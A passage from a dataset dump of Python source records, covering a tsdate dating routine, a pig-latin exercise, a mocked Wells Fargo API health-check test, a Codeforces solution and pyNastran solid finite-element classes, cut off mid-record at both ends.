'manual' and grid_slices < 2:\n raise ValueError(\"You must have at least 2 slices in the time grid\")\n\n if check_valid_topology is True:\n check_ts_for_dating(tree_sequence)\n\n # Stuff yet to be implemented. These can be deleted once fixed\n if recombination_rate is not None:\n raise NotImplementedError(\n \"Using the recombination clock is not currently supported\"\n \". See https://github.com/awohns/tsdate/issues/5 for details\")\n\n for sample in tree_sequence.samples():\n if tree_sequence.node(sample).time != 0:\n raise NotImplementedError(\n \"Samples must all be at time 0\")\n\n fixed_node_set = set(tree_sequence.samples())\n\n span_data = SpansBySamples(tree_sequence, fixed_node_set, progress=progress)\n nodes_to_date = span_data.nodes_to_date\n max_sample_size_before_approximation = None if approximate_prior is False else 1000\n\n if prior_distr not in ('lognorm', 'gamma'):\n raise ValueError(\"prior distribution must be lognorm or gamma\")\n\n base_priors = ConditionalCoalescentTimes(max_sample_size_before_approximation,\n prior_distr)\n base_priors.add(len(fixed_node_set), approximate_prior)\n for total_fixed in span_data.total_fixed_at_0_counts:\n # For missing data: trees vary in total fixed node count => have different priors\n base_priors.add(total_fixed, approximate_prior)\n\n if time_grid == 'uniform':\n grid = np.linspace(0, 8, grid_slices + 1)\n elif time_grid == 'adaptive':\n # Use the prior for the complete TS\n grid = create_time_grid(\n base_priors[tree_sequence.num_samples], prior_distr, grid_slices + 1)\n elif time_grid == 'manual':\n if type(grid_slices) == list:\n grid = np.array(sorted(grid_slices))\n else:\n raise ValueError(\n \"grid slices must be a list of time points such as [0, 1, 2]\")\n else:\n raise ValueError(\"time_grid must be either 'adaptive', 'uniform', or 'manual'\")\n\n prior_params = base_priors.get_mixture_prior_params(span_data)\n prior_vals = fill_prior(prior_params, grid, tree_sequence, nodes_to_date,\n prior_distr, progress)\n\n theta = rho = None\n\n if mutation_rate is not None:\n theta = 4 * Ne * mutation_rate\n if recombination_rate is not None:\n rho = 4 * Ne * recombination_rate\n\n if probability_space != LOG:\n liklhd = Likelihoods(tree_sequence, grid, theta, eps, fixed_node_set)\n else:\n liklhd = LogLikelihoods(tree_sequence, grid, theta, eps, fixed_node_set)\n\n if theta is not None:\n liklhd.precalculate_mutation_likelihoods(num_threads=num_threads)\n\n dynamic_prog = InOutAlgorithms(\n tree_sequence, prior_vals, liklhd, span_data.node_spans,\n progress=progress, extended_checks=True)\n\n dynamic_prog.inside_pass(theta, rho)\n\n posterior = None\n if estimation_method == 'inside_outside':\n posterior = dynamic_prog.outside_pass(theta, rho, normalize=outside_normalize)\n mn_post, _ = posterior_mean_var(tree_sequence, grid, posterior, fixed_node_set)\n elif estimation_method == 'maximization':\n mn_post = dynamic_prog.outside_maximization(theta, eps)\n else:\n raise ValueError(\n \"estimation method must be either 'inside_outside' or 'maximization'\")\n return mn_post, posterior, grid, eps, nodes_to_date\n","sub_path":"tsdate/date.py","file_name":"date.py","file_ext":"py","file_size_in_byte":87104,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"294605037","text":"__author__ = 'Kalyan'\r\n\r\nproblem = \"\"\"\r\nPig latin is an amusing game. The goal is to conceal the meaning of a sentence by a simple encryption.\r\n\r\nRules for converting a word to pig latin are as follows:\r\n\r\n1. If word starts with a consonant, move all continuous consonants at the beginning to the end\r\n and add \"ay\" at the end. e.g happy becomes appyhay, trash becomes ashtray, dog becomes ogday etc.\r\n\r\n2. If word starts with a vowel, you just add an ay. e.g. egg become eggay, eight becomes eightay etc.\r\n\r\nYou job is to write a program that takes a sentence from command line and convert that to pig latin and\r\nprint it back to console in a loop (till you hit Ctrl+C).\r\n\r\ne.g \"There is, however, no need for fear.\" should get converted to \"Erethay isay, oweverhay, onay eednay orfay earfay.\"\r\nNote that punctuation and capitalization has to be preserved\r\n\r\nYou must write helper sub routines to make your code easy to read and write.\r\n\r\nConstraints: only punctuation allowed is , and . and they will come immediately after a word and will be followed\r\nby a space if there is a next word. Acronyms are not allowed in sentences. Some words may be capitalized\r\n(first letter is capital like \"There\" in the above example) and you have to preserve its capitalization in the\r\nfinal word too (Erethay)\r\n\"\"\"\r\n\r\nimport sys\r\n\r\nvowels=('a', 'e', 'i', 'o', 'u')\r\npuntuation=(',','.',' ')\r\n\r\ndef changeword(temp,sentence):\r\n temp=temp.lower()\r\n string=temp[:-1]\r\n puntuation=temp[-1]\r\n if string[0] in vowels:\r\n return string+\"ay\"+puntuation\r\n else:\r\n for item in string:\r\n if item not in vowels:\r\n string=string[1:]+string[0]\r\n else:\r\n break\r\n return string+\"ay\"+puntuation\r\n\r\n\r\ndef change(temp,sentence):\r\n if temp[-1] in puntuation:\r\n return changeword(temp,sentence)\r\n temp=temp.lower()\r\n if temp[0] in vowels:\r\n return temp+\"ay\"\r\n else:\r\n for item in temp:\r\n if item not in vowels:\r\n temp=temp[1:]+temp[0]\r\n else:\r\n break\r\n return temp+\"ay\"\r\n\r\n\r\ndef piglatin(sentence):\r\n listsen=list(sentence.split())\r\n result=\"\"\r\n flag=0\r\n first=0\r\n if sentence[0].isupper():\r\n flag=1\r\n for temp in listsen:\r\n if first==0:\r\n result = result +change(temp,sentence)\r\n first=1\r\n else:\r\n result+=' '\r\n result = result + change(temp, sentence)\r\n if flag==1:\r\n result=result[0].upper()+result[1:]\r\n return result\r\n\r\nif __name__ == \"__main__\":\r\n sys.argv.append(\"There is, however, no need for fear.\")\r\n result = piglatin(sys.argv[1])\r\n try:\r\n print (result)\r\n except KeyboardInterrupt:\r\n print(\"stopped\")\r\n pass\r\n #sys.exit(main())\r\n#if __name__ == \"__main__\":\r\n #pass\r\n #print(sys.argv)\r\n #sys.exit(main())","sub_path":"unit7_assignment_02.py","file_name":"unit7_assignment_02.py","file_ext":"py","file_size_in_byte":2908,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"51836746","text":"from wellsfargo.connector.health import HealthCheckAPIClient\nfrom wellsfargo.tests.base import BaseTest\nimport requests_mock\n\n\nclass HealthCheckAPIClientTest(BaseTest):\n @requests_mock.Mocker()\n def test_check_credentials(self, rmock):\n self.mock_get_api_token_request(rmock)\n\n rmock.get(\n \"https://api-sandbox.wellsfargo.com/utilities/v1/hello-wellsfargo\",\n json={\n \"response\": \"Congratulations! Your environment is set up correctly. Thank you for your business.\",\n },\n )\n # Hit the health check endpoint\n resp = HealthCheckAPIClient().check_credentials()\n self.assertEquals(\n resp,\n \"Congratulations! Your environment is set up correctly. Thank you for your business.\",\n )\n","sub_path":"src/wellsfargo/tests/connector/test_health.py","file_name":"test_health.py","file_ext":"py","file_size_in_byte":800,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"202758292","text":"\n\nfrom xai.brain.wordbase.adjectives._consumptive import _CONSUMPTIVE\n\n#calss header\nclass _CONSUMPTIVES(_CONSUMPTIVE, ):\n\tdef __init__(self,): \n\t\t_CONSUMPTIVE.__init__(self)\n\t\tself.name = \"CONSUMPTIVES\"\n\t\tself.specie = 'adjectives'\n\t\tself.basic = \"consumptive\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/adjectives/_consumptives.py","file_name":"_consumptives.py","file_ext":"py","file_size_in_byte":283,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"440516044","text":"#!/usr/bin/env python3\n\n# https://codeforces.com/problemset/problem/92/A\n\nn,m = list(map(int,input().split())) #50,1e4\ncc = (n*(n+1))//2\nm = m%cc\ncl = [((i+1)*(i+2))//2 for i in range(n)]\nfor i in range(1,n+1):\n if m >= i:\n m -= i\n else:\n print(m)\n break\n","sub_path":"codeforces/implementation模拟/800/92A喂薯片_模拟解.py","file_name":"92A喂薯片_模拟解.py","file_ext":"py","file_size_in_byte":290,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"89610148","text":"# pylint: disable=C0103,R0902,R0904,R0914,W0612\n\"\"\"\nAll solid elements are defined in this file. This includes:\n\n * CHEXA8\n * CHEXA20\n * CPENTA6\n * CPENTA15\n * CTETRA4\n * CTETRA10\n\nAll solid elements are SolidElement and Element objects.\n\"\"\"\nfrom __future__ import (nested_scopes, generators, division, absolute_import,\n print_function, unicode_literals)\nfrom numpy import dot, cross, array, matrix, zeros\nfrom numpy.linalg import solve, norm\n\nfrom pyNastran.bdf.cards.elements.elements import Element\nfrom pyNastran.utils.mathematics import Area, gauss\nfrom pyNastran.bdf.bdfInterface.assign_type import (integer, integer_or_blank, fields)\nfrom pyNastran.bdf.fieldWriter import print_card_8\n\n\ndef volume4(n1, n2, n3, n4):\n r\"\"\"\n Gets the volume, :math:`V`, of the tetrahedron.\n\n .. math:: V = \\frac{(a-d) \\cdot \\left( (b-d) \\times (c-d) \\right) }{6}\n \"\"\"\n V = -dot((n1 - n4), cross(n2 - n4, n3 - n4)) / 6.\n return V\n\n\ndef area_centroid(n1, n2, n3, n4):\n \"\"\"\n Gets the area, :math:`A`, and centroid of a quad.::\n\n 1-----2\n | / |\n | / |\n 4-----3\n \"\"\"\n a = n1 - n2\n b = n2 - n4\n area1 = Area(a, b)\n c1 = (n1 + n2 + n4) / 3.\n\n a = n2 - n4\n b = n2 - n3\n area2 = Area(a, b)\n c2 = (n2 + n3 + n4) / 3.\n\n area = area1 + area2\n try:\n centroid = (c1 * area1 + c2 * area2) / area\n except FloatingPointError:\n msg = '\\nc1=%r\\narea1=%r\\n' % (c1, area1)\n msg += 'c2=%r\\narea2=%r' % (c2, area2)\n raise FloatingPointError(msg)\n return(area, centroid)\n\n\nclass SolidElement(Element):\n _field_map = {1: 'nid', 2:'pid'}\n\n def __init__(self, card, data):\n Element.__init__(self, card, data)\n\n def _update_field_helper(self, n, value):\n if n - 3 < len(self.nodes):\n self.nodes[n - 3] = value\n else:\n raise KeyError('Field %r=%r is an invalid %s entry.' % (n, value, self.type))\n\n def cross_reference(self, model):\n raise NotImplementedError('Element type=%r must implement cross_reference')\n\n def Eid(self):\n return self.eid\n\n def E(self):\n return self.pid.mid.E()\n\n def G(self):\n return self.pid.mid.G()\n\n def Nu(self):\n return self.pid.mid.Nu()\n\n def Volume(self):\n \"\"\"\n Base volume method that should be overwritten\n \"\"\"\n pass\n\n def Mass(self):\n \"\"\"\n Calculates the mass of the solid element\n Mass = Rho * Volume\n \"\"\"\n return self.Rho() * self.Volume()\n\n def Mid(self):\n \"\"\"\n Returns the material ID as an integer\n \"\"\"\n return self.pid.Mid()\n\n def Rho(self):\n \"\"\"\n Returns the density\n \"\"\"\n try:\n return self.pid.mid.rho\n except AttributeError:\n print(\"self.pid = %s\" % (self.pid))\n print(\"self.pid.mid = %s\" % (str(self.pid.mid)))\n raise\n\n def isSameCard(self, elem, debug=False):\n if self.type != elem.type:\n return False\n fields1 = [self.eid, self.Pid()] + self.nodes\n fields2 = [elem.eid, elem.Pid()] + elem.nodes\n if debug:\n print(\"fields1=%s fields2=%s\" % (fields1, fields2))\n return self.isSameFields(fields1, fields2)\n\n def rawFields(self):\n list_fields = [self.type, self.eid, self.Pid()] + self.nodeIDs()\n return list_fields\n\n def write_bdf(self, size, card_writer):\n card = self.reprFields()\n return self.comment() + print_card_8(card)\n\n\nclass CHEXA8(SolidElement):\n \"\"\"\n ::\n\n CHEXA EID PID G1 G2 G3 G4 G5 G6\n G7 G8\n \"\"\"\n type = 'CHEXA'\n asterType = 'HEXA8'\n calculixType = 'C3D8'\n\n def __init__(self, card=None, data=None, comment=''):\n SolidElement.__init__(self, card, data)\n if comment:\n self._comment = comment\n if card:\n #: Element ID\n self.eid = integer(card, 1, 'eid')\n #: Property ID\n self.pid = integer(card, 2, 'pid')\n nids = [\n integer(card, 3, 'nid1'),\n integer(card, 4, 'nid2'),\n integer(card, 5, 'nid3'),\n integer(card, 6, 'nid4'),\n integer(card, 7, 'nid5'),\n integer(card, 8, 'nid6'),\n integer(card, 9, 'nid7'),\n integer(card, 10, 'nid8')\n ]\n assert len(card) == 11, 'len(CHEXA8 card) = %i' % len(card)\n else:\n self.eid = data[0]\n self.pid = data[1]\n nids = data[2:]\n assert len(data) == 10, 'len(data)=%s data=%s' % (len(data), data)\n self.prepareNodeIDs(nids)\n assert len(self.nodes) == 8\n\n def cross_reference(self, model):\n msg = ' which is required by %s eid=%s' % (self.type, self.eid)\n self.nodes = model.Nodes(self.nodes, allowEmptyNodes=False, msg=msg)\n self.pid = model.Property(self.pid, msg=msg)\n\n def _verify(self, xref=False):\n eid = self.Eid()\n pid = self.Pid()\n nids = self.nodeIDs()\n assert isinstance(eid, int)\n assert isinstance(pid, int)\n for i,nid in enumerate(nids):\n assert isinstance(nid, int), 'nid%i is not an integer; nid=%s' %(i, nid)\n if xref:\n c = self.Centroid()\n v = self.Volume()\n assert isinstance(v, float)\n for i in range(3):\n assert isinstance(c[i], float)\n\n def Centroid(self):\n \"\"\"\n Averages the centroids at the two faces\n \"\"\"\n (n1, n2, n3, n4, n5, n6, n7, n8) = self.nodePositions()\n A1, c1 = area_centroid(n1, n2, n3, n4)\n A2, c2 = area_centroid(n5, n6, n7, n8)\n c = (c1 + c2) / 2.\n return c\n\n def Volume(self):\n (n1, n2, n3, n4, n5, n6, n7, n8) = self.nodePositions()\n (A1, c1) = area_centroid(n1, n2, n3, n4)\n (A2, c2) = area_centroid(n5, n6, n7, n8)\n V = (A1 + A2) / 2. * norm(c1 - c2)\n return abs(V)\n\n def nodeIDs(self):\n return self._nodeIDs(allowEmptyNodes=False)\n\n\nclass CHEXA20(SolidElement):\n \"\"\"\n ::\n\n CHEXA EID PID G1 G2 G3 G4 G5 G6\n G7 G8 G9 G10 G11 G12 G13 G14\n G15 G16 G17 G18 G19 G20\n \"\"\"\n type = 'CHEXA'\n asterType = 'HEXA20'\n calculixType = 'C3D20'\n\n def __init__(self, card=None, data=None, comment=''):\n SolidElement.__init__(self, card, data)\n\n if comment:\n self._comment = comment\n if card:\n #: Element ID\n self.eid = integer(card, 1, 'eid')\n #: Property ID\n self.pid = integer(card, 2, 'pid')\n nids = [integer(card, 3, 'nid1'), integer(card, 4, 'nid2'),\n integer(card, 5, 'nid3'), integer(card, 6, 'nid4'),\n integer(card, 7, 'nid5'), integer(card, 8, 'nid6'),\n integer(card, 9, 'nid7'), integer(card, 10, 'nid8'),\n integer_or_blank(card, 11, 'nid9'),\n integer_or_blank(card, 12, 'nid10'),\n integer_or_blank(card, 13, 'nid11'),\n integer_or_blank(card, 14, 'nid12'),\n integer_or_blank(card, 15, 'nid13'),\n integer_or_blank(card, 16, 'nid14'),\n integer_or_blank(card, 17, 'nid15'),\n integer_or_blank(card, 18, 'nid16'),\n integer_or_blank(card, 19, 'nid17'),\n integer_or_blank(card, 20, 'nid18'),\n integer_or_blank(card, 21, 'nid19'),\n integer_or_blank(card, 22, 'nid20')]\n assert len(card) <= 23, 'len(CHEXA20 card) = %i' % len(card)\n else:\n self.eid = data[0]\n self.pid = data[1]\n nids = [d if d > 0 else None for d in data[2:]]\n self.prepareNodeIDs(nids, allowEmptyNodes=True)\n msg = 'len(nids)=%s nids=%s' % (len(nids), nids)\n assert len(self.nodes) <= 20, msg\n\n def cross_reference(self, model):\n msg = ' which is required by %s eid=%s' % (self.type, self.eid)\n self.nodes = model.Nodes(self.nodes, allowEmptyNodes=True, msg=msg)\n self.pid = model.Property(self.pid, msg=msg)\n\n def _verify(self, xref=False):\n eid = self.Eid()\n pid = self.Pid()\n nids = self.nodeIDs()\n assert isinstance(eid, int)\n assert isinstance(pid, int)\n for i,nid in enumerate(nids):\n assert nid is None or isinstance(nid, int), 'nid%i is not an integer/blank; nid=%s' %(i, nid)\n if xref:\n c = self.Centroid()\n v = self.Volume()\n assert isinstance(v, float)\n for i in range(3):\n assert isinstance(c[i], float)\n\n def Centroid(self):\n \"\"\"\n .. seealso:: CHEXA8.Centroid\n \"\"\"\n (n1, n2, n3, n4, n5,\n n6, n7, n8, n9, n10,\n n11, n12, n13, n14, n15,\n n16, n17, n18, n19, n20) = self.nodePositions()\n (A1, c1) = area_centroid(n1, n2, n3, n4)\n (A2, c2) = area_centroid(n5, n6, n7, n8)\n c = (c1 + c2) / 2.\n return c\n\n def Volume(self):\n \"\"\"\n .. seealso:: CHEXA8.Volume\n \"\"\"\n (n1, n2, n3, n4, n5,\n n6, n7, n8, n9, n10,\n n11, n12, n13, n14, n15,\n n16, n17, n18, n19, n20) = self.nodePositions()\n (A1, c1) = area_centroid(n1, n2, n3, n4)\n (A2, c2) = area_centroid(n5, n6, n7, n8)\n V = (A1 + A2) / 2. * norm(c1 - c2)\n return abs(V)\n\n def nodeIDs(self):\n return self._nodeIDs(allowEmptyNodes=True)\n\n\nclass CPENTA6(SolidElement):\n \"\"\"\n ::\n\n CPENTA EID PID G1 G2 G3 G4 G5 G6\n *----------*\n / \\ / \\\n / A \\ / c \\\n *---*-----*-----*\n V = (A1+A2)/2 * norm(c1-c2)\n C = (c1-c2)/2\n \"\"\"\n type = 'CPENTA'\n asterType = 'PENTA6'\n calculixType = 'C3D6'\n\n def __init__(self, card=None, data=None, comment=''):\n SolidElement.__init__(self, card, data)\n\n if comment:\n self._comment = comment\n if card:\n #: Element ID\n self.eid = integer(card, 1, 'eid')\n #: Property ID\n self.pid = integer(card, 2, 'pid')\n nids = [\n integer(card, 3, 'nid1'),\n integer(card, 4, 'nid2'),\n integer(card, 5, 'nid3'),\n integer(card, 6, 'nid4'),\n integer(card, 7, 'nid5'),\n integer(card, 8, 'nid6'),\n ]\n assert len(card) == 9, 'len(CPENTA6 card) = %i' % len(card)\n else:\n self.eid = data[0]\n self.pid = data[1]\n nids = data[2:]\n assert len(data) == 8, 'len(data)=%s data=%s' % (len(data), data)\n self.prepareNodeIDs(nids)\n assert len(self.nodes) == 6\n\n def cross_reference(self, model):\n msg = ' which is required by %s eid=%s' % (self.type, self.eid)\n self.nodes = model.Nodes(self.nodes, allowEmptyNodes=False, msg=msg)\n self.pid = model.Property(self.pid, msg=msg)\n\n def getFaceNodesAndArea(self, nidOpposite, nid):\n nids = self.nodeIDs()[:6]\n indx1 = nids.index(nid)\n indx2 = nids.index(nidOpposite)\n\n # offset so it's easier to map the nodes with the QRG\n pack = [indx1 + 1, indx2 + 1]\n pack.sort()\n mapper = { # reverse points away from the element\n [1, 2]: [1, 2, 3], # close\n [2, 3]: [1, 2, 3],\n [1, 3]: [1, 2, 3],\n\n [4, 5]: [4, 5, 6], # far-reverse\n [5, 6]: [4, 5, 6],\n [4, 6]: [4, 5, 6],\n\n [1, 5]: [1, 2, 5, 4], # bottom\n [2, 4]: [1, 2, 5, 4],\n\n [1, 6]: [1, 3, 6, 4], # left-reverse\n [3, 4]: [1, 3, 6, 4],\n\n [2, 6]: [2, 5, 6, 3], # right\n [3, 5]: [2, 3, 6, 5], }\n\n pack2 = mapper[pack]\n if len(pack2) == 3:\n (n1, n2, n3) = pack2\n faceNodeIDs = [n1, n2, n3]\n n1i = nids.index(n1 - 1)\n n2i = nids.index(n2 - 1)\n n3i = nids.index(n3 - 1)\n p1 = self.nodes[n1i].Position()\n p2 = self.nodes[n2i].Position()\n p3 = self.nodes[n3i].Position()\n a = p1 - p2\n b = p1 - p3\n A = Area(a, b)\n else:\n (n1, n2, n3, n4) = pack2\n n1i = nids.index(n1 - 1)\n n2i = nids.index(n2 - 1)\n n3i = nids.index(n3 - 1)\n n4i = nids.index(n4 - 1)\n faceNodeIDs = [n1, n2, n3, n4]\n p1 = self.nodes[n1i].Position()\n p2 = self.nodes[n2i].Position()\n p3 = self.nodes[n3i].Position()\n p4 = self.nodes[n4i].Position()\n a = p1 - p3\n b = p2 - p4\n A = Area(a, b)\n return [faceNodeIDs, A]\n\n def _verify(self, xref=False):\n eid = self.Eid()\n pid = self.Pid()\n nids = self.nodeIDs()\n assert isinstance(eid, int)\n assert isinstance(pid, int)\n for i,nid in enumerate(nids):\n assert isinstance(nid, int), 'nid%i is not an integer; nid=%s' %(i, nid)\n if xref:\n c = self.Centroid()\n v = self.Volume()\n assert isinstance(v, float)\n for i in range(3):\n assert isinstance(c[i], float)\n\n def Centroid(self):\n (n1, n2, n3, n4, n5, n6) = self.nodePositions()\n c1 = (n1 + n2 + n3) / 3.\n c2 = (n4 + n5 + n6) / 3.\n c = (c1 + c2) / 2.\n return c\n\n def Volume(self):\n (n1, n2, n3, n4, n5, n6) = self.nodePositions()\n A1 = Area(n3 - n1, n2 - n1)\n A2 = Area(n6 - n4, n5 - n4)\n c1 = (n1 + n2 + n3) / 3.\n c2 = (n4 + n5 + n6) / 3.\n\n V = (A1 + A2) / 2. * norm(c1 - c2)\n return abs(V)\n\n def rawFields(self):\n list_fields = ['CPENTA', self.eid, self.Pid()] + self._nodeIDs(allowEmptyNodes=False)\n return list_fields\n\n def nodeIDs(self):\n return self._nodeIDs(allowEmptyNodes=False)\n\n\nclass CPENTA15(SolidElement):\n \"\"\"\n ::\n\n CPENTA EID PID G1 G2 G3 G4 G5 G6\n G7 G8 G9 G10 G11 G12 G13 G14\n G15\n \"\"\"\n type = 'CPENTA'\n asterType = 'PENTA15'\n calculixType = 'C3D15'\n\n def __init__(self, card=None, data=None, comment=''):\n SolidElement.__init__(self, card, data)\n\n if comment:\n self._comment = comment\n if card:\n #: Element ID\n self.eid = integer(card, 1, 'eid')\n #: Property ID\n self.pid = integer(card, 2, 'pid')\n nids = [\n integer(card, 3, 'nid1'),\n integer(card, 4, 'nid2'),\n integer(card, 5, 'nid3'),\n integer(card, 6, 'nid4'),\n integer(card, 7, 'nid5'),\n integer(card, 8, 'nid6'),\n integer(card, 9, 'nid7'),\n integer(card, 10, 'nid8'),\n integer_or_blank(card, 11, 'nid9'),\n integer_or_blank(card, 12, 'nid10'),\n integer_or_blank(card, 13, 'nid11'),\n integer_or_blank(card, 14, 'nid12'),\n integer_or_blank(card, 15, 'nid13'),\n integer_or_blank(card, 16, 'nid14'),\n integer_or_blank(card, 17, 'nid15'),\n ]\n assert len(card) <= 18, 'len(CPENTA15 card) = %i' % len(card)\n else:\n self.eid = data[0]\n self.pid = data[1]\n nids = [d if d > 0 else None for d in data[2:]]\n assert len(data) == 17, 'len(data)=%s data=%s' % (len(data), data)\n self.prepareNodeIDs(nids, allowEmptyNodes=True)\n assert len(self.nodes) <= 15\n\n def cross_reference(self, model):\n msg = ' which is required by %s eid=%s' % (self.type, self.eid)\n self.nodes = model.Nodes(self.nodes, allowEmptyNodes=True, msg=msg)\n self.pid = model.Property(self.pid, msg=msg)\n\n def _verify(self, xref=False):\n eid = self.Eid()\n pid = self.Pid()\n nids = self.nodeIDs()\n assert isinstance(eid, int)\n assert isinstance(pid, int)\n for i,nid in enumerate(nids):\n assert nid is None or isinstance(nid, int), 'nid%i is not an integer/blank; nid=%s' %(i, nid)\n if xref:\n c = self.Centroid()\n v = self.Volume()\n assert isinstance(v, float)\n for i in range(3):\n assert isinstance(c[i], float)\n\n def Centroid(self):\n \"\"\"\n .. seealso:: CPENTA6.Centroid\n \"\"\"\n (n1, n2, n3, n4, n5,\n n6, n7, n8, n9, n10,\n n11, n12, n13, n14, n15) = self.nodePositions()\n c1 = (n1 + n2 + n3) / 3.\n c2 = (n4 + n5 + n6) / 3.\n c = (c1 - c2) / 2.\n return c\n\n def Volume(self):\n \"\"\"\n .. seealso:: CPENTA6.Volume\n \"\"\"\n (n1, n2, n3, n4, n5,\n n6, n7, n8, n9, n10,\n n11, n12, n13, n14, n15) = self.nodePositions()\n A1 = Area(n3 - n1, n2 - n1)\n A2 = Area(n6 - n4, n5 - n4)\n c1 = (n1 + n2 + n3) / 3.\n c2 = (n4 + n5 + n6) / 3.\n\n V = (A1 + A2) / 2. * norm(c1 - c2)\n return abs(V)\n\n def nodeIDs(self):\n return self._nodeIDs(allowEmptyNodes=True)\n\n\nclass CTETRA4(SolidElement):\n \"\"\"\n ::\n\n CTETRA EID PID G1 G2 G3 G4\n \"\"\"\n type = 'CTETRA'\n asterType = 'TETRA4'\n calculixType = 'C3D4'\n\n def __init__(self, card=None, data=None, comment=''):\n SolidElement.__init__(self, card, data)\n if comment:\n self._comment = comment\n if card:\n #: Element ID\n self.eid = integer(card, 1, 'eid')\n #: Property ID\n self.pid = integer(card, 2, 'pid')\n nids = [integer(card, 3, 'nid1'),\n integer(card, 4, 'nid2'),\n integer(card, 5, 'nid3'),\n integer(card, 6, 'nid4'), ]\n assert len(card) == 7, 'len(CTETRA4 card) = %i' % len(card)\n else:\n self.eid = data[0]\n self.pid = data[1]\n nids = data[2:]\n assert len(data) == 6, 'len(data)=%s data=%s' % (len(data), data)\n self.prepareNodeIDs(nids)\n assert len(self.nodes) == 4\n\n def cross_reference(self, model):\n msg = ' which is required by %s eid=%s' % (self.type, self.eid)\n self.nodes = model.Nodes(self.nodes, allowEmptyNodes=False, msg=msg)\n self.pid = model.Property(self.pid, msg=msg)\n\n def _verify(self, xref=False):\n eid = self.Eid()\n pid = self.Pid()\n nids = self.nodeIDs()\n assert isinstance(eid, int)\n assert isinstance(pid, int)\n for i,nid in enumerate(nids):\n assert isinstance(nid, int), 'nid%i is not an integer; nid=%s' %(i, nid)\n if xref:\n c = self.Centroid()\n v = self.Volume()\n assert isinstance(v, float)\n for i in range(3):\n assert isinstance(c[i], float)\n\n def Volume(self):\n (n1, n2, n3, n4) = self.nodePositions()\n return volume4(n1, n2, n3, n4)\n\n def Centroid(self):\n (n1, n2, n3, n4) = self.nodePositions()\n return (n1 + n2 + n3 + n4) / 4.\n\n def getFaceNodes(self, nidOpposite, nid=None):\n nids = self.nodeIDs()[:4]\n indx = nids.index(nidOpposite)\n nids.pop(indx)\n return nids\n\n def Stiffness(self):\n ng = 1\n (P, W) = gauss(1)\n\n K = zeros((6, 6))\n for i in xrange(ng):\n for j in xrange(ng):\n for k in xrange(ng):\n p = [P[i], P[j], P[k]]\n w = W[i] * W[j] * W[k]\n pz = self.zeta(p)\n J = self.Jacobian(p)\n #N = self.N()\n #B = self.B()\n K += w * J * self.BtEB(pz)\n #K += w*J*B.T*E*B\n return K\n\n def BtEB(self, pz):\n #E = self.Dsolid()\n\n #o = E * e\n #e = [exx,eyy,ezz,2exy,2eyz,2ezx]\n #C = array([[Bxi*E11+Byi*E14+Bzi*E16, Byi*E12+Bxi*E14+Bzi*E15, Bzi*E13+Byi*E15+Bxi*E16]\n # [Bxi*E12+Byi*E24+Bzi*E26, Byi*E22+Bxi*E24+Bzi*E25, Bzi*E23+Byi*E25+Bxi*E26]\n # [Bxi*E13+Byi*E34+Bzi*E36, Byi*E23+Bxi*E34+Bzi*E35, Bzi*E33+Byi*E35+Bxi*E36]\n # [Bxi*E14+Byi*E44+Bzi*E46, Byi*E24+Bxi*E44+Bzi*E45, Bzi*E34+Byi*E45+Bxi*E46]\n # [Bxi*E15+Byi*E45+Bzi*E56, Byi*E25+Bxi*E45+Bzi*E55, Bzi*E35+Byi*E55+Bxi*E56]\n # [Bxi*E16+Byi*E46+Bzi*E16, Byi*E26+Bxi*E46+Bzi*E56, Bzi*E36+Byi*E56+Bxi*E66]])\n\n #Qij = array([[Bxj*C11+ Byj*C41+Bzj+Bzj*C61, Bxj*C12+Byj*C42+Bzj*C62, Bxj*C13+Byj*C43+Bzj*C63],\n # [Byj*C21+ Bxj*C41+Bzj+Bzj*C51, Byj*C22+Bxj*C42+Bzj*C52, Byj*C23+Bxj*C43+Bzj*C53],\n # [Bzj*C31+ Byj*C51+Bzj+Bxj*C61, Bzj*C32+Byj*C52+Bxj*C62, Bzj*C33+Byj*C53+Bxj*C63]])\n Qij = None\n return Qij\n\n def zeta(self, p):\n p2 = array([1, p[0], p[1], p[2]])\n J = self.Jacobian()\n zeta = solve(J, p2)\n return zeta\n\n def Jacobian(self):\n r\"\"\"\n .. math::\n [J] = \\left[\n \\begin{array}{ccc}\n 1 & 1 & 1 \\\\\n x_1 & y_1 & z_1 \\\\\n x_2 & y_2 & z_2 \\\\\n x_3 & y_3 & z_3 \\\\\n x_4 & y_4 & z_4 \\\\\n \\end{array} \\right]\n\n .. warning:: this has got to be wrong\n \"\"\"\n m = matrix((6, 6), 'd')\n (n1, n2, n3, n4) = self.nodePositions()\n m[0][0] = m[0][1] = m[0][2] = m[0][2] = 1.\n m[1][0] = n1[0]\n m[2][0] = n1[1]\n m[3][0] = n1[2]\n m[1][1] = n2[0]\n m[2][1] = n2[1]\n m[3][1] = n2[2]\n m[1][2] = n3[0]\n m[2][2] = n3[1]\n m[3][2] = n3[2]\n m[1][3] = n4[0]\n m[2][3] = n4[1]\n m[3][3] = n4[2]\n return m\n\n def nodeIDs(self):\n return self._nodeIDs(allowEmptyNodes=False)\n\n\nclass CTETRA10(SolidElement):\n \"\"\"\n ::\n\n CTETRA EID PID G1 G2 G3 G4 G5 G6\n G7 G8 G9 G10\n CTETRA 1 1 239 229 516 99 335 103\n 265 334 101 102\n \"\"\"\n type = 'CTETRA'\n asterType = 'TETRA10'\n calculixType = 'C3D10'\n\n def __init__(self, card=None, data=None, comment=''):\n SolidElement.__init__(self, card, data)\n if comment:\n self._comment = comment\n if card:\n #: Element ID\n self.eid = integer(card, 1, 'eid')\n #: Property ID\n self.pid = integer(card, 2, 'pid')\n nids = [integer(card, 3, 'nid1'),\n integer(card, 4, 'nid2'),\n integer(card, 5, 'nid3'),\n integer(card, 6, 'nid4'),\n integer_or_blank(card, 7, 'nid5'),\n integer_or_blank(card, 8, 'nid6'),\n integer_or_blank(card, 9, 'nid7'),\n integer_or_blank(card, 10, 'nid8'),\n integer_or_blank(card, 11, 'nid9'),\n integer_or_blank(card, 12, 'nid10'), ]\n assert len(card) <= 13, 'len(CTETRA10 card) = %i' % len(card)\n else:\n self.eid = data[0]\n self.pid = data[1]\n nids = [d if d > 0 else None for d in data[2:]]\n assert 